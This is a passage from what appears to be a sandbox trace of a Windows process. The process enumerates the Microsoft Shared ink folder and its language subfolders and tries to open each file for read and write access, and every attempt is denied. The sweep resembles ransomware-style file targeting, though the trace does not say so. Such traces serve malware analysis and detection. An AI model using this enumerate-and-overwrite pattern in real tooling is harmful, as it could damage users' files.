lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.531] GetLastError () returned 0x5 [0163.531] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0163.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.532] GetLastError () returned 0x5 [0163.532] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0163.532] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.533] GetLastError () returned 0x5 [0163.533] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0163.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.534] GetLastError () returned 0x5 [0163.534] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0163.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.534] GetLastError () returned 0x5 [0163.534] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0163.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.535] GetLastError () returned 0x5 [0163.535] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0163.535] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.535] GetLastError () returned 0x5 [0163.535] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0163.535] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.536] GetLastError () returned 0x5 [0163.536] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0163.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.538] GetLastError () returned 0x5 [0163.538] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0163.539] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.539] GetLastError () returned 0x5 [0163.539] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.539] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.539] GetLastError () returned 0x5 [0163.539] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0163.539] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.539] GetLastError () returned 0x5 [0163.539] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0163.539] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.540] GetProcessHeap () returned 0x990000 [0163.540] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.540] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-ES", cAlternateFileName="")) returned 1 [0163.540] GetProcessHeap () returned 0x990000 [0163.540] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b2468 [0163.541] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.542] GetProcessHeap () returned 0x990000 [0163.542] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.542] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.542] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.542] GetProcessHeap () returned 0x990000 [0163.542] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9b7b40 [0163.542] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.542] GetLastError () returned 0x5 [0163.542] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.542] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.542] GetProcessHeap () returned 0x990000 [0163.542] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.542] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="et-EE", cAlternateFileName="")) returned 1 [0163.542] GetProcessHeap () returned 0x990000 [0163.543] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b2468 [0163.543] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.544] GetProcessHeap () returned 0x990000 [0163.544] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.544] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.544] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.544] GetProcessHeap () returned 0x990000 [0163.544] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9b7b40 [0163.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.544] GetLastError () returned 0x5 [0163.544] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.544] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.544] GetProcessHeap () returned 0x990000 [0163.544] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.544] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0163.545] GetProcessHeap () returned 0x990000 [0163.545] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b2468 [0163.545] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.545] GetProcessHeap () returned 0x990000 [0163.545] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.545] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.545] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.545] GetProcessHeap () returned 0x990000 [0163.545] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9b7b40 [0163.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.546] GetLastError () returned 0x5 [0163.546] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.546] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.546] GetProcessHeap () returned 0x990000 [0163.546] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.546] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0163.546] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.547] GetLastError () returned 0x5 [0163.547] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c53a9c4, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5c53a9c4, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe2800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0163.547] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0163.547] GetProcessHeap () returned 0x990000 [0163.547] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b2468 [0163.547] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.547] GetProcessHeap () returned 0x990000 [0163.547] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.547] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, 